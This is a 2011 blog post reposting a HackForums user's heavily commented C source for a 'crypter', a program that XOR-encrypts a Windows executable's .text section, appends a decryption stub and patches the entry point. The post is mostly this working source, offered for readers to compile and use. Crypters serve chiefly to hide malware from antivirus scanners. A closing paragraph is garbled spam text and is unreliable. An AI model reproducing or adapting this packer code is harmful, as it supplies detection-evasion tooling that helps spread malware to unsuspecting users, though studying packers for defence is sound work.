The official way of writing a crypter in C | Source Code
Tuesday, 22 February 2011
, Posted by genesisdatabase at 15:41
mindlessdeath, a member from HackForums have posted a thread regarding how to write a crypter in C! I find this source code a very good example for people that are trying to learn to write their own crypter. Compared to any other source codes that are posted on the internet, the author of this source code gave a very detailed information on each line on what the statements does. In order to use this source code without much trouble, there are some prerequisites that was mentioned by the author himself.
Prerequisites
1: encrypts ".text" section
2: you must have enough free space at the end of the section for the stub
3: there may not be transparency in the RVA (like - raw size = 1000, virutal size = 2000) for that section, or it may malfunction
4: *edited* how did i miss that, there must be no relocations for ".text" section
He have also mentioned that "at first i was going for a more complex one, but seeing that there were some problems which easily took me a whole day to solve (damn RVA's!) and as the source size became larger, i decided to go with this. After all, this is just an example. It is heavily commented, though unnecessary at most.
Im not doing a tutorial (and im not fond of them), because it is indeed easy, and if you dont understand this code, im sorry, but then you need to learn about PE and/or go back and continue with C/C++..."
If you do not know much about executable file format, you might want to take a look at Peering Inside the PE: A Tour of the Win32 Portable Executable File Format by Matt Pietrek. Another good source that mindlessdeath has updated me with was The PE File Format.
Source Code
Before you look at the source code below and try to execute them, you might want to read what the comments are about. You might also want to read on updates from the author himself in the thread that he has originally posted here.
[code]
<pre>#pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code
#pragma optimize("", off) // disable all optimizations in order for our stub to run smootly, though im not sure if it really helps, i just saw some guy doing it this way lolz :)
#include <windows.h> // familiar?
#include <stdio.h> // i wonder what this might be, hmm...
// gets the first sections header offset
#define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew + \
sizeof(IMAGE_NT_HEADERS)))
// those are the offsets to the
#define OEP_o 21 // original entry point
#define SEG_o 11 // virtual address of section
#define BSZ_o 1 // block size, must be a multiple of 8
#define SZ_o 6 // section size, must be a multiple of the chosen block size
// values in the stub
// a simple block xor
// every byte in the given block is XOR'ed with its index
void _xor_block(unsigned char *pblock, unsigned int blocksize)
{
unsigned int i;
for(i = 0; i < blocksize; i++)
pblock[i] ^= i;
return;
}
// just a wrapper around the above function
int _xor_chunk(unsigned char* pchunk, unsigned long chunksize, unsigned int blocksize)
{
if(chunksize % blocksize || blocksize % 8)
return -1;
unsigned long index = 0;
while(index < chunksize)
{
_xor_block(pchunk + index, blocksize);
index += blocksize;
}
return 0;
}
// this is our stub and the new entry point for the encrypted PE
__declspec(naked) void __stdcall _stub(void)
{
__asm
{
push 0xFEFEFEFE //blocksize
push 0xFDFDFDFD //chunksize
push 0xFCFCFCFC //pchunk
call _xor_chunk //decrypt
mov eax, 0x7FFFFFFF //oep
jmp eax //go go
}
}
// a placeholder, used for stub size calculation
__declspec(naked) int _end(void)
{
__asm ret 8
}
// so basicly the ASM code of the above 3 (w/o _end) functions will be added to the end of the ".text" section
// after updating the proper values in the stub, ofc
// then the PE header is updated along with the section header
// and with the entry point at _stub's code its all done! wow that was easy oO
// GO GO POWER RANGERS!!!
int main(void)
{
// im not going to lecture you about those, if you are not familiar with these structures, you should go read about PE format...
PIMAGE_DOS_HEADER pDosH;
PIMAGE_NT_HEADERS pNtH;
PIMAGE_SECTION_HEADER pSecH;
// variables
HANDLE hFile;
DWORD dwFileSize, dwSectionSize, dwStubSize,
dwVSize, dwOldProt, dwSpot, dwGap, bytes;
LPBYTE FileBuffer, SectionBuffer;
CHAR FileName[MAX_PATH];
// get the filename to encrypt
printf("File to encrypt: ");
scanf("%s", &FileName);
// open it and get the size
hFile = CreateFile(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
dwFileSize = GetFileSize(hFile, 0);
// load in memory
FileBuffer = (LPBYTE) malloc(dwFileSize);
ReadFile(hFile, FileBuffer, dwFileSize, &bytes, 0);
pDosH = (PIMAGE_DOS_HEADER) FileBuffer;
// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid
if(pDosH->e_magic != IMAGE_DOS_SIGNATURE)
return -1;
pNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH->e_lfanew);
if(pNtH->Signature != IMAGE_NT_SIGNATURE)
return -2;
pSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer);
while(memcmp(pSecH->Name, ".text", 5)) // get the ".text" section header
pSecH++;
dwVSize = pSecH->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment
dwSectionSize = pSecH->SizeOfRawData; // speaks for itself
dwStubSize = (DWORD) _end - (DWORD) _xor_block; // the stubsize, in bytes
SectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data
memcpy(SectionBuffer, FileBuffer + pSecH->PointerToRawData, dwSectionSize); // ... copy the data
_xor_chunk(SectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here - 8, 16, 32, 64, 128, 256, 512...
memset(SectionBuffer + pSecH->Misc.VirtualSize, 0, (dwSectionSize - pSecH->Misc.VirtualSize)); // fill with zeros after the end of actual data
dwSpot = pSecH->Misc.VirtualSize; // this will be the offset (relative to the beginning of the section) where we will place our stub
while(dwSpot % 16) // align it to 16 byte boundary
dwSpot++;
dwSpot += 256; // this is in order to prevent the stub from corruption by overwriting its own code, since we will place it after the end of the section data
dwGap = dwSpot - pSecH->Misc.VirtualSize; // the gap between our stub and the end of the data
DWORD oep = pNtH->OptionalHeader.AddressOfEntryPoint + pNtH->OptionalHeader.ImageBase; // the original entry point, this is a linear address
DWORD seg = pSecH->VirtualAddress + pNtH->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one
DWORD bsz = 256; // you know what this is
while(dwVSize % bsz) // we need to align it to block size
dwVSize++;
VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub...
// and update it, blah, blah, blah...
memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4);
memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4);
memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4);
memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4);
memcpy(SectionBuffer + dwSpot, _xor_block, dwStubSize); // place the damn thing already!
pSecH->Characteristics = 0xE0000060; // R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W...
pSecH->Misc.VirtualSize += dwStubSize + dwGap; // update the virtual size of the section
pNtH->OptionalHeader.AddressOfEntryPoint = pSecH->VirtualAddress + dwSpot + ( (DWORD)_stub - (DWORD)_xor_block ) ;
// and finally update the file
SetFilePointer(hFile, pSecH->PointerToRawData, 0, FILE_BEGIN); //new section data
WriteFile(hFile, SectionBuffer, dwSectionSize, &bytes, 0);
SetFilePointer(hFile, pDosH->e_lfanew, 0, FILE_BEGIN); //new PE header
WriteFile(hFile, pNtH, sizeof(IMAGE_NT_HEADERS), &bytes, 0);
SetFilePointer(hFile, ((DWORD) pSecH - (DWORD) FileBuffer), 0, FILE_BEGIN); //new section header
WriteFile(hFile, pSecH, sizeof(IMAGE_SECTION_HEADER), &bytes, 0);
// some good habits :)
CloseHandle(hFile);
free(FileBuffer);
free(SectionBuffer);
return 0;
}
// bye, bye, EOF
[/code]
Source: An example crypter... source, not tutorial!
Favorable guys, I hope you can quit, and we more and better jobs, I declare that I have been here the new posts of teachers waiting for you. Strong open for you on this website, you can become an entry, just a personal ...